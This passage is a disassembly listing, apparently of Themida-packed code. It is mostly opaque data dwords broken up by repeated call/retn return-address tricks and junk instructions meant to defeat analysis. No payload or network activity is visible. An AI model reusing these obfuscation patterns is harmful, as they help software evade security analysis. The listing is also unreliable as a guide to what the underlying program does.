7C895FC3h, 44810424h dd 190424h, 57470000h, 6D30AFC3h, 894EE59Ch, 140A31BDh dd 8BC38B06h, 4E8C1F3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 2EC35242h, 0B0FD345Dh, 76A83BBDh, 0E2F7661Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h dd 3BA683E6h, 9E93E3Bh, 0E3000000h, 7F957C6h, 0A6B74A13h dd 0BE8h, 0FFCE8C00h, 23B868CEh, 2D930AAFh, 11E8h, 31586300h dd 0CB702CADh, 99BC4D64h, 8F862381h, 870FD983h, 0 ; --------------------------------------------------------------------------- pop esi pop esi sub ebx, eax adc esi, 133FE1AAh pop eax xor si, 2DDEh sub ebx, eax js loc_5BCD50 push 0 push ebx call sub_5BCB8B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCB8B proc near ; CODE XREF: Themida_:005BCB83p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BCB8B endp ; --------------------------------------------------------------------------- db 8 dd 1DF81138h, 485BA135h, 0A5ECBE73h, 0BD2B0D7Ah, 61419D1h dd 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 13C0FD84h, 212B4D6Dh, 28BF66A7h dd 0C18304h, 2BE5BD8Bh, 0D93B0614h, 162860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0A3792AC3h, 0EA68C0ECh, 0FD8D8970h, 66061418h, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 2241F1C3h, 1F9F280Ch, 0C1F6633Fh, 0CE840F04h, 29000000h dd 141E3D8Dh, 1195FF06h, 0F8061412h, 55006A5Bh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 44386589h dd 0E8F98B54h, 9, 9CCBC83Ah, 0B7D2562Bh, 0B58B603Eh, 6141B31h dd 12618529h, 5F610614h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 7D573AC3h, 1CDCDDEFh dd 66B05C1Bh, 3D489FBEh, 834h, 4B860Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0A82AD6C3h, 876A9EEFh, 6A19D01h, 0B50B0614h, 6140199h dd 53E9h, 11E96000h, 77000000h, 0BFE04DC0h, 84256C08h dd 4378F7Ah, 69A05F52h, 6AC08B61h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CC62C353h dd 1CBA5A5Dh, 0CE999h, 3D390000h, 0EA714778h, 2D86E19Fh dd 0B58BF809h, 61419D1h ; --------------------------------------------------------------------------- loc_5BCD50: ; CODE XREF: Themida_:loc_5BC93Cj ; Themida_:005BCB7Aj mov eax, ebx mov ebx, eax and edi, [ebp+614254Dh] mov dword ptr [ebp+6140C5Dh], 152B537Dh add edi, [ebp+61412E9h] mov eax, eax pusha sub dx, 9FA3h pusha mov [ebp+6141321h], ebx popa popa cmp dword ptr [ebp+6142C05h], 7D0h jnz loc_5BCDBE mov esi, [ebp+6140C65h] inc dword ptr [ebp+6142C05h] push 0 push ecx call sub_5BCDA2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCDA2 proc near ; CODE XREF: Themida_:005BCD9Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5BCDA2 endp ; --------------------------------------------------------------------------- dw 6AFBh ; --------------------------------------------------------------------------- xor ah, cl pusha jnb $+6 popa loc_5BCDBE: ; CODE XREF: Themida_:005BCD85j push dword ptr [ebp+6142C05h] mov [ebp+6141CE5h], esi mov esi, [ebp+6141339h] call dword ptr [ebp+6142971h] mov [ebp+6141E51h], ecx nop xor [ebp+61425A1h], esi mov [ebp+614259Dh], esi push 0 push eax call sub_5BCDF4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BCDF4 proc near ; CODE XREF: Themida_:005BCDECp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5BCDF4 endp ; --------------------------------------------------------------------------- dd 7EC383Dh, 5CA77A6Ch, 0BD8B9B1Ch, 6141F05h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DCC35545h, 0DD061A3h dd 0BD3134D7h, 6141615h, 2B858D89h, 0B5890614h, 61418E1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h dd 8589F88Bh, 61415B9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 41C35040h, 56D4EAA4h, 0CE257EB5h, 0EDB58BB6h dd 6A061433h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 46D9C355h, 57006ACEh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 1D8D8937h dd 8B061416h, 140FF5BDh, 0F829E906h, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A73089C3h dd 34DFE812h, 8B34C9F7h, 142E11B5h, 61BD8906h, 8B061420h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0CF8166DCh, 4EBDD7Eh, 1, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 8DC35040h, 0D30B83A1h dd 66B30DF4h, 2F5AC681h, 6BD9D29h, 0BF510614h, 6A5E17B1h dd 91858D5Eh, 0E9061407h, 0Ah, 6F4F693h, 437F9054h, 5390F8F1h dd 14E8h, 0BFA77300h, 0D3B03349h, 2CB7D08Bh, 68CC3FE2h dd 778C3536h, 0F18B66E0h, 0F505E5Fh, 885h, 0D98A6000h dd 4706B866h, 85019061h, 61411C5h, 8B66006Ah, 0F59D29F8h dd 6A061406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 60D3C39Ah, 890F60h, 89000000h, 140D3D85h dd 0FE96106h, 0C5000000h, 29079FA0h, 85F945A7h, 0B3B601E4h dd 8D619505h, 17F5E585h, 0FA8B6606h, 6A05C083h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 2F6AC353h, 8E601FBAh, 0A9BD29F3h, 90061407h, 6E950h dd 674D0000h, 8DD0E181h, 6870F90h, 0F000000h, 82h, 6A006A00h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 8F0C353h, 8B60FB57h, 1412E98Dh, 8FBA6006h dd 60142743h, 0E9616161h, 13h, 819096E0h, 1AD20BF4h, 6577F722h dd 4B88BB06h, 95F7E8Fh, 14235595h, 6A006A06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0AD0CC353h, 9D069F59h, 0FF97BD34h, 24D9BD8Bh, 95FF0614h dd 6141B19h, 0A7789D8Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0A7FF3DC3h, 220DFDCBh dd 9B3357BFh, 51852952h, 0FF061412h, 50006AD3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8B537A94h dd 140FA1BDh, 0BD8B5E06h, 61401BDh, 2DED85FFh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 4AAFE3C3h, 0E89CA98Bh, 12h, 24248CB4h, 6B6C06BCh, 0E519CA6Fh dd 1A88B479h, 815E82E0h, 7BE563E6h, 7A3E93Eh, 0E80000h dd 5D000000h, 0F5EFED81h, 81FC0617h, 142C05BDh, 7D006h dd 61860F00h, 1000001h, 1411E5B5h, 9D8BF806h, 6142AA5h dd 0CE8h, 0EBF27600h, 0B3BA5B0Bh, 0AA32F49h, 8166600Fh dd 890689F7h, 142649B5h, 605E6106h, 0BAA2BA66h, 5ACF8B52h dd 0E38161h, 81000001h, 1C47D7DEh, 0FDB0B6Dh, 9B85h, 0F88B6600h dd 0F39CBD83h, 0F000617h, 4F84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 1171DC20h dd 0F641CF7h, 91E9FFB7h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C3FDC352h dd 0BD8B0ADCh, 6140DD9h, 0F39C85C7h, 10617h, 0CE90000h dd 0C8000000h, 0DE41550Eh, 8C545263h, 0E9E72844h, 4Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 84C35242h dd 0F39C85C7h, 617h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0D223ADC3h, 0EF8D41C2h dd 64BF66h, 2AA59D8Dh, 9600614h, 14008D9Dh, 5BD3106h, 61061400h dd 0FEFF2381h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 22FA60C3h, 0EE997h, 35CF0000h, 556FBC5Bh dd 0EC6D80A8h, 44828CEAh, 89DB8C66h, 14262D8Dh, 4C3F606h dd 26840Fh, 95FF0000h, 6141211h, 12E990h, 0E0AD0000h, 5533BCDFh dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 0B58B9050h, 6142495h dd 41CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89B21508h, 140C0DBDh, 6600B006h dd 0D6F2DF81h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 105954C3h, 0DB8BBFDBh, 71E436FBh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 41C35343h dd 858B6090h, 614183Dh, 6820F61h, 8B000000h, 14077DBDh dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 3EC35545h, 424CA399h, 53CAC71Dh, 870Fh, 815F0000h dd 86B448DFh, 6BA66h, 85890000h, 6141F31h, 13850F60h, 0E8000000h dd 0Dh, 302F40ABh, 0F7AB4DEDh, 8588A506h, 0EE95BCDh, 0AE000000h dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 0C38B6199h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3EC35646h, 72294801h dd 89A588C5h, 140A59BDh, 958D8906h, 0C1061431h, 6A04E8h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 56BFCEC3h, 581BE83Eh, 0F76612F9h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0F7819603h dd 0D684D16h, 2BFB8B66h, 0ADB58BD8h, 5006142Bh, 6A241C89h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 958BC353h, 0FEBF0F64h, 2C05B5FFh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 95FF74C3h, 6142971h, 6870Fh, 9D890000h, 6141AADh, 8D2900B0h dd 6141609h, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B5917DC3h, 71E4F9DFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4AC35747h, 0CF87878Fh dd 0C06E8093h, 0F613C5Ah, 1F083h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 68D8DB3Ah dd 0FEEDD312h, 0B60F60E3h, 218D29D8h, 0BA06140Eh, 6, 741B58Bh dd 0C38B0614h, 1DCDB58Bh, 0E8C10614h, 53006A04h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 7D100B82h, 0F766FFA2h, 53006AE2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 187D96C7h dd 0F69DE8A0h, 9D89298Eh, 6141FE9h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0C8ED8DC3h, 0D5C55174h, 6A58E7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 2BDA4BC3h dd 12880FD8h, 8B000001h, 140C05B5h, 7B906h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 656B52C3h, 8361FC60h, 0D93B00C1h, 0DB860Fh, 0B70F0000h dd 0D98C66FAh, 141B589h, 0C1F60614h, 0C1840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 8C73C351h, 0CEBE5755h, 1195FF79h, 6A061412h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0BB55C350h, 8D8960F1h, 61423E1h, 0A19B589h dd 0E9610614h, 12h, 0DE91846Ah, 5A46ADB3h, 5A23F555h, 0A6F02F80h dd 6A5BE4DAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8BD3C350h, 141979B5h, 66C32B06h dd 3B8DCE81h, 8343Dh, 21860F00h, 8B000000h, 142E45BDh dd 0BE906h, 0E2CB0000h, 289DD2F4h, 0B33F6F46h, 0BE93Ch dd 95290000h, 6142F89h, 8B66C08Bh, 8BC38BF9h, 0E5BD29D8h dd 0C7061430h, 1417D985h, 912DBD06h, 52006A7Ch, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 811DAC47h dd 818D8B60h, 66061406h, 61152BBFh, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 314764C3h dd 1404699Dh, 5BD8106h, 0D006142Ch, 0F000007h, 2D85h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BF66AAE8h, 85FFB0B2h, 6142C05h, 11BDB533h, 0B5FF0614h dd 6142C05h, 31E78A60h, 140B258Dh, 95FF6106h, 6142971h dd 267DBD8Bh, 6A900614h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0F976C357h, 3DFD3B10h dd 0E6BE6694h, 6870FE5h, 0F8000000h, 0E4E78166h, 56006A3Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0DA7DB862h, 0D00ABF09h, 6A251Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0DE782EC3h dd 0BE66E854h, 9D89B97Eh, 6140A91h, 51B8FEBFh, 2EF811Ah dd 60116662h, 0E2EDE081h, 0D3811CB0h, 2F53DD4h, 94F78161h dd 897D0524h, 14025D8Dh, 2FBF6606h, 0DE816077h, 3548308Fh dd 0DE816660h, 0B501269Ch, 6142675h, 7E77D381h, 61611CE1h dd 0D99D8960h, 8006141Dh, 9CBF09D5h, 617E6D08h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A1C35343h, 890FAACCh dd 0 dd 2B3DBD89h, 0E9F50614h, 0FFFFF866h, 89F08B66h, 1419798Dh dd 6AC18B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 104DC351h, 6655C02Fh, 7DBFF38Bh dd 0EB7667C3h, 104h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 593E299Ch, 8166C3CAh dd 6A2DDFE7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 749C353h, 8D5FFC50h, 14079185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0FF3E57D5h, 13E990h, 7B40000h, 3E4BC964h dd 0E5161D8Bh, 0B194D460h, 4D6EB782h, 0B96050AEh, 4F9EF083h dd 90613EB5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 8C35646h, 3121BD8Bh, 0B70F0614h, 0F5006AF1h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0CD79ECC3h, 0B0DD3B30h, 858D565Dh, 617FFF4h, 6D7C72BFh dd 5C0831Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0F4C35545h, 8950CF66h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9392ABC3h dd 0C1AFA075h, 6ABB81h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 79C35141h, 6A006AF5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D16C353h dd 54E0FCCDh, 95FF5ADAh, 6141B19h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 91C35646h, 8589C76Eh, 61420C1h dd 0A7789D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 674F39C3h, 79A75DF3h, 850F06h, 81000000h dd 0CAA360D7h, 6AD3FF0Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0F371C355h, 893B3FA7h dd 140F7195h, 0ED85FF06h, 6A06142Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 4D4FC357h dd 6E8h, 0B6C4E800h, 891571B8h, 1411D1BDh, 0B58B5F06h dd 6142E0Dh, 841E9h, 0E800h, 815D0000h, 17FFFEEDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0ACA562CBh, 0CDD457FBh, 0DE95Dh, 3DF20000h, 50FFD0A3h dd 0D690B5A8h, 817463E8h, 142C05BDh, 7D006h, 3E860F00h dd 8B000001h, 140C719Dh, 858B6006h, 614000Dh, 0FE9h, 2A5C1500h dd 0BB32D416h, 0FC0C9604h, 72FE9AB1h, 0E38161h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 8A9FC353h, 1D05BF66h, 2D6D8D29h, 0DB0B0614h dd 0A7850Fh, 8B660000h, 0CE9F8h, 0A9C10000h, 4C31C9BAh dd 8B151308h, 0BD830DA2h, 617FDB9h, 41840F00h, 8B000000h dd 8FE9F2h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0A6648EC3h, 7E886h, 90EE0000h, 251F2509h dd 0BD035755h, 6140191h, 0CF815F5Eh, 5B76132h, 0FDB985C7h dd 10617h, 0B70F0000h, 43E9F2h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B1B73BC3h dd 77BC0343h, 0AE98910h, 0ED000000h, 72C09650h, 2D65EC16h dd 0B985C7A6h, 617FDh, 81000000h, 0D7929ECEh, 719D8D14h dd 0E806140Ch, 0Ch, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 1D9D89h dd 815E0614h, 0FFFEFF23h, 1D8D89FFh, 8B061423h, 140AE5BDh dd 0DB8C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0EBC35242h, 0D19DE545h, 830FFFFEh, 6, 1CDDBD8Bh dd 0C7810614h, 1D31BD80h, 0F04C3F6h, 5C84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0F28B348Bh, 121195FFh, 0B5890614h, 61410ADh, 6CBE6690h dd 66535079h, 905FF88Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 57C35646h, 0D0962028h, 8A96DA68h, 3F4E973h dd 5E90000h, 0C000000h, 17E6FEA6h, 0BF0F00B0h, 6A70E6F0h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0B92C356h, 532CB680h, 8166E676h, 0E4C296F7h dd 0D8B60F71h, 0D3CDBFF8h, 6BA5037h, 0B000000h, 1403F1B5h dd 6AC38B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 3B05C356h, 0B4833C90h, 27B1BF66h dd 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F57C357h, 8Eh, 14E800h, 0C6B90000h dd 64F59C5Dh, 1A386BC7h, 0C8BE4970h, 11B0416Fh, 8B66EBA0h dd 0F7665EF1h, 6830FE2h, 31000000h, 1407099Dh, 89D82B06h dd 141BD5BDh, 0F509306h, 0E8Fh, 6E800h, 2E9F0000h, 229FD50Dh dd 935F6160h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 5BC35141h, 13E934h, 0A7BE0000h, 8CCD1DC0h, 23AF92EFh dd 0B0D7A9D4h, 2F54B357h, 5B5FF44h, 6A06142Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0C472C357h, 66A965F0h, 0F6D57AAh, 95FFF9BFh, 6142971h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h dd 8141CCC6h, 81F7BAC6h, 0B0FC13h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 16C35141h, 67A18952h, 6A70E6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 49B4C8C3h, 7672E0AAh, 0EE987h, 69730000h, 922452D3h dd 38EEEA06h, 4882A807h, 0BD8B71E4h, 6142FC1h, 830F613Ch dd 216h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0C6C35646h, 0E8B32B27h, 0BFDEB536h, 2458AFF1h dd 0BAD8B60Fh, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0FC35343h, 0B9D9BD2Eh, 12E8h, 0ECDA1E00h, 0F9A27FA9h dd 8B3862A4h, 0D43EAA47h, 0F4AAB5Ah, 683h, 8E0F00h, 5F000000h dd 0BE66C38Bh, 0E8C1A3A2h, 0ED9D8904h, 0F061423h, 482h dd 13BE6600h, 0E2F76642h, 18058589h, 0D82B0614h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 81C35343h, 8B7D02BDh dd 140639BDh, 0E18D8906h, 58061412h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 2BC35141h, 60EC430Ch, 75B66B95h dd 0D598D01h, 8B0F0614h, 5, 0C9F78166h, 0FD82B25h, 11588h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 7B99Fh, 0B70F0000h, 0C183F3h, 13E9h, 63B50D00h dd 847EB233h, 0D74CE6E5h, 0B293A1FDh, 183F79Eh, 860FD93Bh dd 0CEh, 74E68166h, 0D98C66E1h, 0BE8h, 441FB00h, 0ECF0D5B4h dd 41628F7Fh, 4C1F65Eh, 89840Fh, 0FFFC0000h, 14121195h dd 0F18B6606h, 61953160h, 8B06140Eh, 1420258Dh, 0F5B6106h dd 680h, 6DB58B00h, 2B061426h, 75B589C3h, 3D06140Ah, 834h dd 51860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 46196DC3h, 9589560Eh, 6141C41h dd 3870F5Eh, 50000000h, 3FE95EF5h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8BA7C352h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 7B7E1FEh, 0C38BAA71h, 0B58BD88Bh dd 6140F09h, 89BD2360h, 0E9061412h, 7, 6022CD03h, 61B578ABh dd 2AA585C7h, 0C5390614h, 850F1D2Dh, 0Ch, 6870Fh, 880F0000h dd 0 db 8Bh, 0C0h ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6142C05h], 7D0h jnz loc_5BE26A push 0 push esi call sub_5BE211 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE211 proc near ; CODE XREF: Themida_:005BE209p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5BE211 endp ; --------------------------------------------------------------------------- db 9Ch, 0FBh, 0E7h dd 0E1A35C5Ch, 2B076C22h, 141FDDBDh, 0CE806h, 14B30000h dd 6704EA34h, 2AC73D6Eh, 9D8980EFh, 6141E19h, 585FF5Eh dd 0F06142Ch, 984h, 81666000h, 0B4794DC2h, 8F0F6168h, 6 dd 9459531h ; --------------------------------------------------------------------------- adc al, 6 loc_5BE26A: ; CODE XREF: Themida_:005BE200j push dword ptr [ebp+6142C05h] push 0 push ecx call sub_5BE27B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE27B proc near ; CODE XREF: Themida_:005BE273p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5BE27B endp ; --------------------------------------------------------------------------- db 9Fh dd 82283978h, 812DA3C8h, 0F24245DFh, 7195FF66h, 8B061429h dd 1430A1BDh, 0B8609006h, 710B2449h, 34798D09h, 85290614h dd 6140B3Dh, 0FFF68152h, 8940E367h, 140721B5h, 6A615E06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0C91CC355h, 0C1858973h, 8B061417h, 140BE9BDh dd 6AF906h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 5FDF79C3h, 664D96D7h, 6800Fh, 0BD890000h dd 6140D71h, 0B930CE81h, 0B58B7591h, 61410EDh, 0A399589h dd 0B58B0614h, 6140A55h, 7212F681h, 0BF666D96h, 820FDEF2h dd 5, 41C6AFBEh, 55006A6Fh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 8876EDBBh, 0FE855B3Ch dd 8BF08B66h, 141D51B5h, 0C1BD8B06h, 0F06140Bh, 0B80h dd 0D6816600h, 0DF811512h, 2D68E889h, 13E8h, 34CFD200h dd 655C1E67h, 24ADF95Dh, 41107FE7h, 4605CAD3h, 5E9h, 0DB145800h dd 0E95EE4E2h, 0FFFFF7DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 6C35646h, 0C18B96F4h, 85858B60h, 0E906142Ah dd 10h, 0E6CDFFE3h, 4E102624h, 8D669244h, 659A4ECEh, 4EB61h dd 29000000h, 140201B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 858D21F3h, 6140791h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 86C35646h, 6430B0BAh dd 7EBE8750h, 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 2FC35141h, 9589006Ah, 6142B01h, 8DF5006Ah dd 1809A785h, 5C08306h, 0A800F50h, 60000000h, 8E0FCA8Ah dd 0 ; --------------------------------------------------------------------------- popa mov [esp], eax push 0 push ebx call sub_5BE49B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE49B proc near ; CODE XREF: Themida_:005BE493p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5BE49B endp ; --------------------------------------------------------------------------- cmpsw cmp [esi+163B9318h], dl jnp short loc_5BE51B sub edi, 6A7EE5h push 0 push edx call sub_5BE4C6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE4C6 proc near ; CODE XREF: Themida_:005BE4BEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BE4C6 endp ; --------------------------------------------------------------------------- mov bl, 70h add edi, 2446ABE2h push 0 mov edi, edx call dword ptr [ebp+6141B19h] push 0 push edx call sub_5BE4F3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE4F3 proc near ; CODE XREF: Themida_:005BE4EBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BE4F3 endp ; --------------------------------------------------------------------------- db 0A5h dd 0AFF6BC74h, 0BF0FCCC7h, 789D8DFEh, 660617A7h, 0D3FFF88Bh db 66h, 81h, 0E6h ; --------------------------------------------------------------------------- loc_5BE51B: ; CODE XREF: Themida_:005BE4B3j xlat ; --------------------------------------------------------------------------- dd 85FFF88Fh, 6142DEDh, 13860Fh, 0EE90000h, 65000000h dd 456C588h, 729CA443h, 0DB615CFAh, 39B58BF9h, 0E9061406h dd 802h, 0E8h, 0ED815D00h, 61809B1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 32C35141h, 187B9AEh, 5BD81F7h dd 0D006142Ch, 0F000007h, 12886h, 0EE900h, 58B40000h, 31165E8h dd 0AA18874Ah, 7B8B8C29h, 10C59D8Bh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 94C997C3h dd 6B8E68D4h, 57BF6651h, 0E381B3h, 0BF000001h, 6DAE4694h dd 5820Fh, 0F1BF0000h, 0B74AEBBh, 